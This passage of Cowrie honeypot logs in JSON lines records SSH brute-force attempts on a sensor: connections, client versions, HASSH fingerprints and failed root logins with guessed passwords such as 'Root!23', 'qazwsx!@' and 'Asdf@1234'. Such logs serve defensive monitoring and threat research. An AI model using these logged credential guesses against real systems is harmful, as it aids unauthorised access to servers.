{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:27.677955Z","src_ip":"209.99.190.200","session":"197448b5d5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cj","message":"login attempt [root/cj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:28.094623Z","src_ip":"209.99.190.200","session":"197448b5d5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:29.194185Z","src_ip":"209.99.190.200","session":"197448b5d5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":50128,"dst_ip":"10.17.0.5","dst_port":22,"session":"678be5631ca6","protocol":"ssh","message":"New connection: 43.153.56.192:50128 (10.17.0.5:22) [session: 678be5631ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:29.904871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:29.909585Z","src_ip":"43.153.56.192","session":"678be5631ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:29.977759Z","src_ip":"43.153.56.192","session":"678be5631ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:30.284053Z","src_ip":"43.153.56.192","session":"678be5631ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:31.355294Z","src_ip":"43.153.56.192","session":"678be5631ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":36696,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca10cc062b3b","protocol":"ssh","message":"New connection: 43.153.50.197:36696 (10.17.0.5:22) [session: ca10cc062b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:46.938581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:46.943161Z","src_ip":"43.153.50.197","session":"ca10cc062b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:47.011218Z","src_ip":"43.153.50.197","session":"ca10cc062b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx!@","message":"login attempt [root/qazwsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:47.313955Z","src_ip":"43.153.50.197","session":"ca10cc062b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:48.383069Z","src_ip":"43.153.50.197","session":"ca10cc062b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":35414,"dst_ip":"10.17.0.5","dst_port":22,"session":"be19708849cd","protocol":"ssh","message":"New connection: 43.173.83.154:35414 (10.17.0.5:22) [session: be19708849cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:50.279067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:50.283523Z","src_ip":"43.173.83.154","session":"be19708849cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:50.352810Z","src_ip":"43.173.83.154","session":"be19708849cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.456","message":"login attempt [root/123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:50.677491Z","src_ip":"43.173.83.154","session":"be19708849cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:51.762328Z","src_ip":"43.173.83.154","session":"be19708849cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":40954,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce848a1de4d4","protocol":"ssh","message":"New connection: 20.203.59.187:40954 (10.17.0.5:22) [session: ce848a1de4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:53.612445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:53.616818Z","src_ip":"20.203.59.187","session":"ce848a1de4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:53.784199Z","src_ip":"20.203.59.187","session":"ce848a1de4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.756805658340454,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:54.180570Z","src_ip":"192.119.13.58","session":"85f554571c88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"miao","message":"login attempt [root/miao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:54.483016Z","src_ip":"20.203.59.187","session":"ce848a1de4d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":46286,"dst_ip":"10.17.0.5","dst_port":22,"session":"e879b8013586","protocol":"ssh","message":"New connection: 43.134.1.45:46286 (10.17.0.5:22) [session: e879b8013586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:55.520907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:55.526166Z","src_ip":"43.134.1.45","session":"e879b8013586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:55.654598Z","src_ip":"20.203.59.187","session":"ce848a1de4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:55.765754Z","src_ip":"43.134.1.45","session":"e879b8013586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjc","message":"login attempt [root/zjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:56.752021Z","src_ip":"43.134.1.45","session":"e879b8013586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:57.994574Z","src_ip":"43.134.1.45","session":"e879b8013586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":49990,"dst_ip":"159.203.135.109","dst_port":22,"session":"99c7cad04685","protocol":"ssh","message":"New connection: 171.244.37.97:49990 (159.203.135.109:22) [session: 99c7cad04685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:02.113029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:02.119339Z","src_ip":"171.244.37.97","session":"99c7cad04685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:02.368511Z","src_ip":"171.244.37.97","session":"99c7cad04685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf@1234","message":"login attempt [root/Asdf@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:03.371955Z","src_ip":"171.244.37.97","session":"99c7cad04685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bb0b7bb2fa","protocol":"ssh","message":"New connection: 209.99.190.200:51682 (10.17.0.5:22) [session: f3bb0b7bb2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:04.151169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:04.155666Z","src_ip":"209.99.190.200","session":"f3bb0b7bb2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:04.252053Z","src_ip":"209.99.190.200","session":"f3bb0b7bb2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:04.619172Z","src_ip":"171.244.37.97","session":"99c7cad04685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:04.667090Z","src_ip":"209.99.190.200","session":"f3bb0b7bb2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":56642,"dst_ip":"159.203.135.109","dst_port":22,"session":"e07948c62424","protocol":"ssh","message":"New connection: 43.163.81.22:56642 (159.203.135.109:22) [session: e07948c62424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:05.554019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:05.559723Z","src_ip":"43.163.81.22","session":"e07948c62424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:05.767001Z","src_ip":"209.99.190.200","session":"f3bb0b7bb2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 